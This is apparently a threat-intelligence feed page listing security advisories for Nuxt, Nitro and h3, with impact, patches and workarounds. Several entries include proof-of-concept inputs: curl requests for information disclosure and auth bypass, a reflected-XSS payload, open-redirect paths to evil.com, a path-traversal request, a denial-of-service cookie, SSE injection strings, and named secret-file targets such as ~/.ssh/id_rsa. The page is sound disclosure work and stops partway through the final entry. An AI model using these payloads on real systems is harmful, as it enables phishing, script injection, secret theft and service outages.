Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

30threats · Nuxt · Medium· page 1/2
Get guardrails →

Nuxt dev server discloses project root and workspace UUID via the Chrome DevTools workspace endpoint

Impact When a Nuxt dev server is bound to a network-reachable interface (for example nuxt dev --host for on-device testing), the default-enabled Chrome DevTools workspace endpoint GET /.well-known/appspecific/com.chrome.devtools.json returns the absolute project root (workspace.root, i.e. rootDir) and a persistent per-project workspace UUID. GHSA-rq7w-g337-39qq added a gate (isLocalDevRequest) intended to restrict this endpoint to local requests, but that gate is header-based: it trusts request metadata rather than the connected peer address. A request with no Sec-Fetch-Site, Origin, and Referer headers (normal for a non-browser client such as curl) is treated as local, and the Host allow-list is compared against the attacker-supplied Host header. As a result, any unauthenticated host that can reach the dev server on the LAN can retrieve the project's absolute filesystem path and workspace UUID, for example with curl -H 'Host: localhost' http://<dev-host-lan-ip>:3000/.well-known/appspecific/com.chrome.devtools.json. This is information disclosure only: there is no file read, file write, or code execution reachable from the endpoint. It requires the dev server to be reachable beyond loopback and experimental.chromeDevtoolsProjectSettings to be enabled (it defaults to true). Production builds are unaffected, because the endpoint is registered only as a development handler. Patches Fixed in nuxt@4.5.1 and nuxt@3.21.10. The endpoint now additionally requires the connected TCP peer to be a loopback address, verified from the socket rather than from request headers, so a non-loopback LAN client is rejected regardless of the Host, Origin, Referer, or Sec-Fetch-* headers it sends. The shared header-based check is left unchanged, so the CSRF / same-origin behaviour that other dev handlers rely on is preserved. After this fix, Chrome DevTools workspace auto-mapping only works when the browser reaches the dev server over loopback (localhost / 127.0.0.1 / ::1), which matches the feature's intent (the browser and dev server sharing a filesystem). Workarounds Do not bind the dev server to a non-loopback interface on an untrusted network, or restrict access to the dev port with a firewall. Disable the feature by setting experimental.chromeDevtoolsProjectSettings: false in nuxt.config.

LLM02 · Insecure OutputOWASP Web
Get guardrail →

Nuxt: Unauthorized Component Instantiation via Server Island Props

Impact Nuxt server islands accept props via the /__nuxt_island/ endpoint. When an application has a server island component that forwards props directly into Vue's dynamic component resolution (<component :is>, resolveDynamicComponent, or h()), an attacker can pass a plain string value (rather than a component definition) to instantiate any globally-registered Vue component or any native HTML element. For example: ``json { "as": "SomeGlobalComponent" } ` ...resolves and renders SomeGlobalComponent if it is globally registered, even though the attacker should only be able to drive props for the island's declared component. Similarly, { "as": "iframe" } renders an <iframe> element. Unlike the primary RCE vector (GHSA-9473-5f9j-94wq), this does not require vue.runtimeCompiler to be enabled. A plain string prop is sufficient to trigger component resolution. The template/render key guard that addresses the RCE vector does not block plain string values. Some component libraries expose a polymorphic as / asChild prop that forwards its value into <component :is>; @nuxt/ui (via reka-ui) is a widely used example. An application is affected if such a component receives the attacker-controlled value inside a server island. Note this does not require explicit prop forwarding: island props the island component does not declare fall through as attributes onto its single root element, so an island whose root is a reka-ui / @nuxt/ui component receives the attacker's as value implicitly. Unlike the RCE vector, no vue.runtimeCompiler is required, which makes this vector reachable in more configurations. These libraries are not themselves vulnerable; they are noted only because they commonly provide the dynamic-component sink. Installing @nuxt/ui does not by itself register any component as a server island: the application must define the island (a .server.vue file). Mitigating factors Exploitation requires a server island component that puts an attacker-controlled value onto a dynamic-component path (<component :is>, resolveDynamicComponent, h(), or a polymorphic as / asChild prop), either explicitly or via attribute fallthrough when the island's root is such a component. Reachable components are limited to what is actually in the island app's global registry. In a default pages-enabled app that is RouterView and RouterLink (both registered globally by the pages router plugin, which runs even in component islands), plus any components/global/ component and any component a module registers globally. RouterLink in particular renders an attacker-influenced <a> (and, because an island that declares no props forwards all props, to and other RouterLink props ride the same fallthrough). Vue built-ins (Transition, KeepAlive, Teleport, Suspense) and Nuxt auto-imports (ClientOnly, NuxtLink, NuxtPage, etc.) are NOT in the island app's global registry and cannot be resolved this way; an unresolved name instead renders as a native HTML element (the element-injection half of this issue). Declaring the props an island accepts, or setting inheritAttrs: false on it, prevents an undeclared as from falling through to a polymorphic root and neutralizes this vector. Arbitrary JavaScript execution is not possible through this vector (no template/render compilation). Island component names are constrained to the build-time component registry; an attacker cannot resolve arbitrary components. Affected versions Nuxt >=3.1.0 <3.21.10 and >=4.0.0 <4.5.1, with component islands active. The island prop-forwarding behavior has existed since server islands were introduced in v3.1.0, and this vector does not depend on vue.runtimeCompiler. Nuxt 2 is not affected. Note the patch (below) closes the implicit attribute-fallthrough path, which is the majority case. An island that explicitly forwards an untrusted prop into dynamic component resolution (or forwards it under a prop name other than as) remains the application's responsibility in every version; see Workarounds. Patches Fixed in nuxt@4.5.1 and nuxt@3.21.10. Patched releases reject a top-level as island prop (HTTP 400 at the /__nuxt_island/ endpoint). This closes the implicit path: island props an island does not declare fall through as attributes onto its single root, so a top-level as would otherwise reach a polymorphic root component's as prop (the reka-ui / @nuxt/ui convention) and drive dynamic component resolution without the author binding it. Rejecting the top-level as prop blocks that fallthrough while leaving nested data and other prop names untouched. The framework deliberately does not attempt to block every case: it cannot safely tell a string used as data from one used as a component selector, and it has no island-local hook into Vue's h() or resolveDynamicComponent(). An island that explicitly forwards an untrusted value into <component :is> / h() / resolveDynamicComponent(), or that forwards it under a different polymorphic prop name, is therefore not covered by the patch and must follow the guidance below. The Nuxt documentation now warns against this. Workarounds Upgrade to nuxt@4.5.1 or nuxt@3.21.10. That upgrade also removes the related object-prop RCE (GHSA-9473-5f9j-94wq). In addition, in any version: 1. Do not forward island props into <component :is>, resolveDynamicComponent, or h(). Map an untrusted discriminator through a closed allowlist of imported component definitions instead of passing the raw prop value. 2. Declare the props an island accepts, or set inheritAttrs: false` on it, so request input cannot fall through to a polymorphic root component. 3. Avoid registering sensitive components globally that could leak information if instantiated by an attacker.

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Nuxt dev server vite-node IPC socket is world-connectable on Linux

Impact When running nuxt dev on Linux (Node.js 20+, outside Docker / StackBlitz), Nuxt's internal vite-node IPC server binds to a Linux abstract-namespace Unix socket (\0nuxt-vite-node-<pid>-<ts>.sock). Abstract sockets have no filesystem inode and therefore no permission bits: any local UID on the host that can read /proc/net/unix can enumerate the socket and connect to it. The IPC server does not perform any peer-credential or shared-secret check before dispatching requests. The module request type passes its moduleId field straight into Vite's SSR fetchModule(), which is not gated by Vite's HTTP-layer server.fs.allow deny-list. A co-resident unprivileged local user can therefore request paths like /home/<dev>/project/.env?raw or ~/.ssh/id_rsa?raw and read the developer's secrets through the dev server's SSR plugin pipeline. The resolve request type additionally enables filesystem probing. This affects developers running nuxt dev on shared multi-tenant Linux hosts (lab machines, shared bastions, CI runners shared between jobs without per-job container isolation). It does not affect: Production builds (nuxt build / nuxt start). The IPC server only runs in development. macOS or Windows developers. Docker / StackBlitz environments, which already fall back to a filesystem socket. Single-user laptops or per-job containerised CI. Patches Fixed in nuxt@4.4.7 (commit 1f9f4767) and backported to nuxt@3.21.7 (commit c293bf95). The fix removes the abstract-namespace branch entirely. The IPC server now always binds to a filesystem Unix socket under the OS temp directory and explicitly chmod 0600s it after listen(), restricting connections to the owning UID. If the chmod fails for any reason, the server closes rather than serve requests on an unrestricted channel. Workarounds If you cannot upgrade immediately on an affected host: Run nuxt dev inside a container or VM with no other tenants. Docker already triggers the filesystem-socket fallback in vulnerable versions and that fallback is unaffected. Bind the dev process to a single-user namespace (unshare -U, rootless containers). Restrict /proc/net/unix visibility via hidepid=2 mount options where applicable, though this is partial mitigation only. References Affected file: packages/vite/src/plugins/vite-node.ts CWE-276: Incorrect Default Permissions Credit Reported by Anthropic / Claude as part of Anthropic's coordinated vulnerability disclosure programme, reference ANT-2026-MSNKZFAT. Thanks to the Anthropic security team for the report and the detailed reproduction. Independently reported by @alcls01111 via GitHub's coordinated disclosure flow (GHSA-5gvc-46gq-948j), closed as a duplicate of this advisory.

Nuxt: URL-handling weaknesses in `navigateTo` and `reloadNuxtApp`: SSR open redirect, client-side script execution via the `open` option, and protocol-relative bypass in `reloadNuxtApp`

Summary Three weaknesses in Nuxt's client-navigation URL handling, all reachable from documented public APIs (navigateTo and reloadNuxtApp): 1. (CVE-2026-56326) SSR open redirect in navigateTo via path-normalisation bypass. navigateTo decided whether a target was external by inspecting the raw input with hasProtocol(..., { acceptRelative: true }). Inputs such as /..//evil.com, /.//evil.com, /%2e%2e//evil.com, or /app/..//evil.com slipped past that check because they start with /, but WHATWG URL parsing then normalised them to the protocol-relative pathname //evil.com. The normalised value was written to the Location response header and into the <meta http-equiv="refresh"> body of the SSR redirect page, so a victim's browser would resolve the redirect cross-origin to the attacker's host. 2. (CVE-2026-56698) Client-side script execution via navigateTo({ open: ... }). The client-side early-open handler called window.open(toPath, ...) without applying the isScriptProtocol check that gates the normal navigateTo path. A target of javascript:... (or another script-capable scheme) passed to navigateTo(url, { open: { ... } }) therefore executed in the application's origin instead of being rejected. 3. (CVE-2026-56697) Open redirect in reloadNuxtApp via protocol-relative bypass. reloadNuxtApp({ path }) rejects script-capable protocols by parsing the path with new URL(path, window.location.href) and checking the resolved protocol against isScriptProtocol. Protocol-relative paths such as //evil.com resolve to the current page's protocol (https:), which passes that check; the value is then assigned to window.location.href, which the browser treats as a cross-origin redirect. This is the same protocol-relative bypass family as (1), in a different sink. Impact For (1), the practical risk is phishing or OAuth-code theft against any Nuxt app that forwards user-controlled input (for example a ?next= query parameter on a login route) into navigateTo on the server. The framework documents that navigateTo blocks external hosts unless external: true is passed, so maintainers commonly rely on it as the safe path for post-login redirects. For (2), any app that passes a user-controlled URL into navigateTo(url, { open: { ... } }) was vulnerable to reflected XSS in the application's first-party origin. For (3), any app that forwards user-controlled input into reloadNuxtApp({ path }) could be redirected cross-origin for phishing or OAuth-code theft, even on releases that already shipped the isScriptProtocol guard added by #35115. Patches Fixed in nuxt@4.4.7 and backported to nuxt@3.21.7. The three sinks are addressed by: Path-normalisation bypass in navigateTo: 4.x: commit 2cce6fb0 3.x: commit 1f2dd5e7 navigateTo({ open }) script-protocol guard: 4.x: #35206 (commit 3394716d) 3.x: commit 62fc32ed Protocol-relative bypass in reloadNuxtApp: 4.x: commit e447a793 3.x: commit 6497d99d Workarounds For (1): validate redirect targets before passing them to navigateTo, for example reject any input where new URL(target, 'http://localhost').pathname starts with //, or only accept a known allow-list of paths. For (2): reject any user-controlled URL whose protocol is not in an allow-list (typically just http: and https:) before passing it to navigateTo({ open: ... }). For (3): same shape as (1). Reject paths starting with // (or where new URL(path, window.location.href).host !== window.location.host) before passing to reloadNuxtApp({ path }). References CWE-601: URL Redirection to Untrusted Site ('Open Redirect') CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Credits Reported by Anthropic / Claude as ANT-2026-S08HN6DH through Anthropic's coordinated vulnerability disclosure programme. The reloadNuxtApp protocol-relative bypass (sink 3) was independently reported by @alcls01111 via GitHub's coordinated disclosure flow (GHSA-w7fp-2cfv-4837), closed as a duplicate of this advisory.

OWASP A03OWASP Web
Get guardrail →

Nuxt's route middleware is not enforced when rendering `.server.vue` pages via `/__nuxt_island/page_*`

Summary When experimental.componentIslands is enabled (default in Nuxt 4), any .server.vue file under pages/ is automatically registered as a server island under the key page_<routeName> and exposed via the /__nuxt_island/:name endpoint. Until this fix, requests through that endpoint rendered the page component directly via the SSR renderer without instantiating Vue Router, which meant route middleware declared on the page (including definePageMeta({ middleware })) did not run. For Nuxt applications that gate a .server.vue page behind route middleware as their sole auth check, an unauthenticated attacker could bypass that check by requesting /__nuxt_island/page_<routeName>_<anyhash> directly and receiving the server-rendered HTML. Affected configurations All three conditions must hold for an application to be vulnerable: 1. experimental.componentIslands is enabled (the default in Nuxt 4; opt-in in Nuxt 3). 2. The application defines one or more .server.vue files under pages/, registering them as routed pages. 3. Authentication / authorization for at least one such page is enforced solely via route middleware (middleware/.ts referenced from definePageMeta), without a server-side check inside the page or its data layer. Applications that enforce auth inside the island's own data layer (server-only API routes, useRequestEvent + manual session checks, etc.) were not affected. The general "route middleware does not run for non-page island components" behaviour is documented and unchanged; this advisory concerns the .server.vue page case specifically, where running middleware is the user's clear expectation. Details Build (packages/nuxt/src/components/templates.ts): .server.vue pages are registered as island components with page_ prefix, making them addressable through /__nuxt_island/page_<routeName>_<hashId>. Runtime (packages/nitro-server/src/runtime/handlers/island.ts): the handler resolves the requested island component and renders it via renderer.renderToString(ssrContext). The Vue Router plugin previously short-circuited middleware execution whenever ssrContext.islandContext was set. The two paths interact so that route middleware declared on the source page never runs. Proof of concept Given a page app/pages/secret.server.vue: ``vue <script setup lang="ts"> definePageMeta({ middleware: 'auth' }) </script> <template> <h1>SECRET DATA</h1> </template> ` with middleware/auth.ts blocking unauthenticated access: `bash Direct page request: blocked by middleware curl -i http://localhost:3000/secret -> 403 / redirect, depending on the middleware Island request: middleware did not run before this fix curl -i 'http://localhost:3000/__nuxt_island/page_secret_anyhash' -> 200 OK, body includes <h1>SECRET DATA</h1> ` Patches Patched in nuxt@4.4.6 and nuxt@3.21.6 by #35092. The Vue Router plugin now runs middleware and redirect handling for page_ islands (i.e. islands that originate from .server.vue files in pages/). The island handler propagates middleware-issued responses (~renderResponse), and a new beforeResolve guard returns HTTP 400 when the requested page_<name> does not match the route component the URL resolves to. Non-page island components are unaffected - they continue to render without route middleware, by design. Workarounds If you cannot upgrade immediately: Enforce authentication inside the .server.vue page itself, not via route middleware. Read the session from useRequestEvent() and throw createError({ statusCode: 401 }) (or redirect) before returning data. This is the recommended pattern for islands regardless of this advisory. Disable experimental.componentIslands if your app does not use the feature. If your app must keep route-middleware-only auth, gate the /__nuxt_island/page_*` URL prefix at your reverse proxy or in a server middleware.

OWASP A01LLM06 · Sensitive Info DisclosureOWASP Web
Get guardrail →

Nuxt: Reflected XSS in `navigateTo()` external redirect

Summary navigateTo() with external: true generates a server-side HTML redirect body containing a <meta http-equiv="refresh"> tag. The destination URL is only sanitized by replacing " with %22, leaving <, >, &, and ' unencoded. An attacker who can influence the URL passed to navigateTo(url, { external: true }) can break out of the content="…" attribute and inject arbitrary HTML/JavaScript that executes under the application's origin. This is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed javascript: protocol bypass. The issue here is triggered by any valid URL containing >. Impact Applications that pass user-controlled input to navigateTo(url, { external: true }) — typically via a ?next= / ?redirect= query parameter used for post-login or "return to" flows — are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application's origin during the server-rendered redirect response, before the meta-refresh fires. Details In packages/nuxt/src/app/composables/router.ts, the SSR redirect path builds an HTML response body with only " percent-encoded in the destination URL: ``ts const encodedLoc = location.replace(/"/g, '%22') nuxtApp.ssrContext!['~renderResponse'] = { status: sanitizeStatusCode(options?.redirectCode || 302, 302), body: <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=${encodedLoc}"></head></html>, headers: { location: encodeURL(location, isExternalHost) }, } ` The Location header is normalised through encodeURL() (which uses the URL constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause. Proof of concept Global middleware that forwards a query parameter to navigateTo: `ts // middleware/redirect.global.ts export default defineNuxtRouteMiddleware((to) => { const next = to.query.next as string | undefined if (next) { return navigateTo(next, { external: true }) } }) ` Request: ` GET /?next=https://evil.example/x><img src=x onerror=alert(document.domain)> ` Response body: `html <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=https://evil.example/x><img src=x onerror=alert(document.domain)>"></head></html> ` The > after evil.example/x terminates the content="…" attribute, and the <img onerror> tag executes JavaScript in the application's origin before any redirect occurs. Patches Fixed in nuxt@4.4.6 and nuxt@3.21.6 by #35052. The fix percent-encodes the full set of HTML-attribute-significant characters (&, ", ', <, >) before interpolating the URL into the meta-refresh body Workarounds If you can't upgrade immediately, validate user-controlled URLs before passing them to navigateTo(url, { external: true }). At minimum, normalise through new URL(input).toString() and reject inputs containing < or >` (a normalised URL with these characters is malformed and safe to refuse).

Nitro has an Open Redirect via Protocol-Relative URL Bypass in Wildcard Route Rules

A redirect route rule like: ``ts routeRules: { "/legacy/": { redirect: "/" } } ` is intended to rewrite paths within the same host. Before the patch, an attacker could turn the rewrite into a cross-host redirect by sliding an extra slash in after the rule prefix. Example exploit: ` GET /legacy//evil.com ` Nitro stripped /legacy from the matched pathname and joined the remainder against the rule's target. The remainder was //evil.com, which the join preserved verbatim, so Nitro responded with Location: //evil.com. Browsers resolve //evil.com as a protocol-relative URL against the current scheme, sending the user to https://evil.com. Are you affected? Users may be affected if all of the following are true: 1. Their project uses Nitro's routeRules with a redirect entry. 2. The target uses a / wildcard suffix to forward sub-paths (e.g. redirect: "/", redirect: "/new/", proxy: { to: "http://upstream/" }). 3. The redirect rule is _not_ handled natively at the CDN layer. The vercel, netlify, cloudflare-pages, and edgeone presets translate routeRules.redirect into platform config (vercel.json, _redirects, EdgeOne v3 config) and serve the redirect at the edge — those deployments bypass the Nitro runtime entirely and are not affected. Every other preset executes the redirect through the Nitro runtime and can be vulnerable. Impact Open redirect from any host serving Nitro with a wildcard redirect rule. The redirect target is fully attacker-controlled, the URL looks legitimate (it starts with the victim's domain), and the browser silently follows it. Patched versions Upgrade to one of: 2.13.4 or later (or upgrade lockfile with latest ufo 1.6.4+) 3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4236) The fix has two parts: 1. ufo is bumped to ^1.6.4 (unjs/ufo@5cd9e67), which collapses any run of leading slashes to a single / inside withoutBase. This covers the typical "/scope/" rule. 2. The Nitro runtime additionally collapses leading // before joining when the rule path itself is / (in rare case which case withoutBase is never called and the raw pathname flows straight into joinURL("", …)`).

Nitro has a proxy scope bypass via percent-encoded path traversal in `routeRules`

A proxy route rule like: ``ts routeRules: { "/api/orders/": { proxy: { to: "http://upstream/orders/" } } } ` is intended to limit the proxy to URLs under /api/orders/. Before the patch, an attacker could bypass that scope by sending percent-encoded path traversal (..%2f) in the URL, causing Nitro to forward a request that the upstream resolved outside the configured scope. Example exploit: ` GET /api/orders/..%2fadmin%2fconfig.json ` Nitro sees ..%2f as opaque characters at match time, the /api/orders/ rule matched, and the raw path was forwarded to the upstream as /orders/..%2fadmin/config.json. An upstream that decodes %2F to / then resolved .. and can serve /admin/config.json outside the intended scope. Are you affected? Users may be affected if ALL of the following are true: 1. Their project uses Nitro's routeRules with a proxy entry ({ proxy: { to: "..." } }). 2. The proxy to value uses a / wildcard suffix to forward sub-paths. 3. The upstream behind the proxy decodes %2F as / before routing or filesystem lookup. 4. Proxy route rules are _not_ handled natively at CDN (nitro v3 and vercel) Whether the bypass actually leaks data depends on the upstream. Modern JS frameworks keep %2F opaque per RFC 3986 and are safe by construction. Safe examples: H3 v2, Express v5, Hono v4 — modern JS frameworks keep %2F opaque per RFC 3986. Vulnerable examples: naive imlementations that decodes the URL, static file servers, CGI dispatchers, Python os.path-based routing, anything sitting behind another layer that decodes %2F (common in microservice meshes). Impact Any HTTP path reachable from the Nitro server to the upstream could be requested, regardless of the configured / scope. In typical deployments (API gateway, BFF, microservice proxy) this could expose internal admin endpoints, secrets endpoints, or other services the developer believed the scope rule fenced off. Patched versions Upgrade to one of: 2.13.4 or later (https://github.com/nitrojs/nitro/pull/4223) 3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4222) The fix canonicalizes the incoming pathname before building the upstream URL and rejects requests with 400 Bad Request if the resolved path would escape the rule's base. The bytes forwarded upstream are unchanged when the request is allowed. > Note: the fix assumes the upstream does not double-decode percent-encoding. If your upstream decodes twice (%252F → %2F → /`), it remains your responsibility to harden it. Single-decode is standard**. Credits Reported by @mHe4am (@he4am on HackerOne) via the Vercel Open Source program.

OWASP A01OWASP Web
Get guardrail →

H3 has an Open Redirect via Protocol-Relative Path in redirectBack() Referer Validation

Summary The redirectBack() utility in h3 validates that the Referer header shares the same origin as the request before using its pathname as the redirect Location. However, the pathname is not sanitized for protocol-relative paths (starting with //). An attacker can craft a same-origin URL with a double-slash path segment that passes the origin check but produces a Location header interpreted by browsers as a protocol-relative redirect to an external domain. Details The vulnerable code is in src/utils/response.ts:89-97: ``typescript export function redirectBack( event: H3Event, opts: { fallback?: string; status?: number; allowQuery?: boolean } = {}, ): HTTPResponse { const referer = event.req.headers.get("referer"); let location = opts.fallback ?? "/"; if (referer && URL.canParse(referer)) { const refererURL = new URL(referer); if (refererURL.origin === event.url.origin) { // BUG: pathname can be "//evil.com/path" which browsers interpret // as a protocol-relative URL location = refererURL.pathname + (opts.allowQuery ? refererURL.search : ""); } } return redirect(location, opts.status); } ` The root cause is a discrepancy between how the WHATWG URL parser and browsers handle double-slash paths: 1. new URL("http://target.com//evil.com/path").origin → "http://target.com" — origin check passes 2. new URL("http://target.com//evil.com/path").pathname → "//evil.com/path" — extracted as redirect location 3. Browser receives Location: //evil.com/path → interprets as protocol-relative URL → redirects to evil.com Attack scenario: The attacker shares a link like http://target.com//evil.com/page. If the target application has catch-all routes (common in SPAs built with h3/Nitro), the app serves its page at that URL. When the user navigates to an endpoint calling redirectBack(), the browser sends Referer: http://target.com//evil.com/page. The origin check passes, and the user is redirected to evil.com, which can host a phishing page mimicking the target. PoC `bash 1. Create a minimal h3 app with redirectBack cat > /tmp/h3-redirect-poc.ts << 'SCRIPT' import { H3, redirectBack } from "h3"; const app = new H3(); app.post("/submit", (event) => redirectBack(event)); const res = await app.fetch(new Request("http://localhost/submit", { method: "POST", headers: { referer: "http://localhost//evil.com/steal" } })); console.log("Status:", res.status); console.log("Location:", res.headers.get("location")); // Expected: a same-origin path // Actual: "//evil.com/steal" — protocol-relative redirect to evil.com SCRIPT 2. Verify URL parsing behavior node -e " const u = new URL('http://localhost//evil.com/steal'); console.log('origin:', u.origin); // http://localhost console.log('pathname:', u.pathname); // //evil.com/steal console.log('origin matches localhost:', u.origin === 'http://localhost'); // true " Output: origin: http://localhost pathname: //evil.com/steal origin matches localhost: true ` Impact An attacker can redirect users from a trusted application to an attacker-controlled domain. This enables: Credential phishing: Redirect to a lookalike login page to harvest credentials OAuth token theft: In OAuth flows using redirectBack(), steal authorization codes by redirecting to an attacker's callback Trust exploitation: Users see the initial link points to the trusted domain, lowering suspicion The vulnerability requires no authentication and affects any endpoint using redirectBack(). Recommended Fix Sanitize the extracted pathname to prevent protocol-relative URLs. In src/utils/response.ts, after extracting the pathname from the referer: `typescript export function redirectBack( event: H3Event, opts: { fallback?: string; status?: number; allowQuery?: boolean } = {}, ): HTTPResponse { const referer = event.req.headers.get("referer"); let location = opts.fallback ?? "/"; if (referer && URL.canParse(referer)) { const refererURL = new URL(referer); if (refererURL.origin === event.url.origin) { let pathname = refererURL.pathname; // Prevent protocol-relative open redirect (e.g., "//evil.com") if (pathname.startsWith("//")) { pathname = "/" + pathname.replace(/^\/+/, ""); } location = pathname + (opts.allowQuery ? refererURL.search : ""); } } return redirect(location, opts.status); } ``

H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service

Summary The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (__chunked__N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=__chunked__999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process. Details The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value __chunked__N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed. The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249: ``typescript function getChunkedCookieCount(cookie: string | undefined): number { if (!cookie?.startsWith(CHUNKED_COOKIE)) { return Number.NaN; } return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length)); // No upper bound check — attacker controls this value } ` This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190: `typescript const previousCookie = getCookie(event, name); // reads from request headers if (previousCookie?.startsWith(CHUNKED_COOKIE)) { const previousChunkCount = getChunkedCookieCount(previousCookie); if (previousChunkCount > chunkCount) { for (let i = chunkCount; i <= previousChunkCount; i++) { deleteCookie(event, chunkCookieName(name, i), options); // Each deleteCookie → setCookie → scans ALL existing set-cookie headers } } } ` The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232: `typescript const chunksCount = getChunkedCookieCount(mainCookie); if (chunksCount >= 0) { for (let i = 0; i < chunksCount; i++) { deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions); } } ` The exploit chain through sessions: 1. Attacker sends Cookie: h3=__chunked__999999 to any session-using endpoint 2. getSession() (src/utils/session.ts:83) calls getChunkedCookie(event, "h3") (line 124) 3. getChunkedCookie() returns undefined — the early return at line 153 fires because no actual chunk cookies (e.g., h3.1) exist in the request 4. Since sealedSession is undefined, session.id remains empty (line 140), triggering updateSession() (line 143) 5. updateSession() calls setChunkedCookie() with the newly sealed session value (line 179) 6. Inside setChunkedCookie(), getCookie(event, name) re-reads the original request cookie __chunked__999999 at line 182 7. previousChunkCount = 999999, chunkCount = 1 (new sealed session is small) 8. The cleanup loop runs 999,998 iterations, each calling deleteCookie() → setCookie() 9. Each setCookie() call reads ALL existing set-cookie response headers via getSetCookie() (line 91) and iterates through them for deduplication (lines 100-106) 10. This creates O(n²) complexity — approximately 10¹² operations for n=999999 Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count. PoC Prerequisites: An h3 application with any endpoint using getSession() or useSession(). Example minimal server: `typescript import { H3 } from "h3"; import { getSession } from "h3"; const app = new H3(); app.get("/dashboard", async (event) => { const session = await getSession(event, { password: "my-secret-password-at-least-32-chars-long!", }); return { user: session.data.user || "anonymous" }; }); export default app; ` Attack (single request, no authentication): `bash This single request will hang the server process curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard ` For a less extreme but still impactful test: `bash ~100K iterations — will take several seconds and block all other requests curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard ` The deleteChunkedCookie() path is exploitable via clearSession(): `typescript app.post("/logout", async (event) => { await clearSession(event, { password: "my-secret-password-at-least-32-chars-long!", }); return { ok: true }; }); ` `bash curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout ` Impact Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling. No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header. Minimal attacker effort: The payload is trivially small (Cookie: h3=__chunked__999999), making it easy to automate or repeat. Wide attack surface: Any endpoint in the application that uses getSession(), useSession(), or clearSession() is vulnerable. Session usage is extremely common in web applications. Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme. Recommended Fix Add a maximum chunk count constant and validate in getChunkedCookieCount(): `typescript const MAX_CHUNKED_COOKIE_COUNT = 100; function getChunkedCookieCount(cookie: string | undefined): number { if (!cookie?.startsWith(CHUNKED_COOKIE)) { return Number.NaN; } const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length)); if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) { return Number.NaN; } return count; } ` This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX_CHUNKED_COOKIE_COUNT = 100 is generous while eliminating the DoS vector. Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0` is false.

OWASP A06LLM10OWASP Web
Get guardrail →

h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)

Summary The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection. Details The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable: 1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193) ``typescript const data = typeof message.data === "string" ? message.data : ""; for (const line of data.split("\n")) { // Only splits on \n, not \r result += data: ${line}\n; } ` String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as: ` data: legit\revent: evil\n ` Per the SSE specification §9.2.6, \r alone is a valid line terminator. The browser parses this as two separate lines: ` data: legit event: evil ` 2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177) `typescript export function formatEventStreamComment(comment: string): string { return ( comment .split("\n") // Only splits on \n, not \r .map((l) => : ${l}\n) .join("") + "\n" ); } ` The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces: ` : x\rdata: injected\n\n ` Which the browser parses as a comment line followed by actual data: ` : x data: injected ` Why _sanitizeSingleLine doesn't help The _sanitizeSingleLine function at line 198 correctly strips both \r and \n: `typescript function _sanitizeSingleLine(value: string): string { return value.replace(/[\n\r]/g, ""); } ` But it is only applied to id and event fields (lines 182, 185), not to data or comment. PoC Setup Create a minimal h3 application that reflects user input into an SSE stream: `javascript // server.mjs import { createApp, createEventStream, defineEventHandler, getQuery } from "h3"; const app = createApp(); app.use("/sse", defineEventHandler(async (event) => { const stream = createEventStream(event); const { msg } = getQuery(event); // Simulates user-controlled input flowing to SSE (common in chat/AI apps) await stream.push(String(msg)); setTimeout(() => stream.close(), 1000); return stream.send(); })); export default app; ` Attack 1: Event type injection via \r in data `bash Inject an "event: evil" directive via \r in data curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil" ` Expected (safe) wire output: ` data: legit\revent: 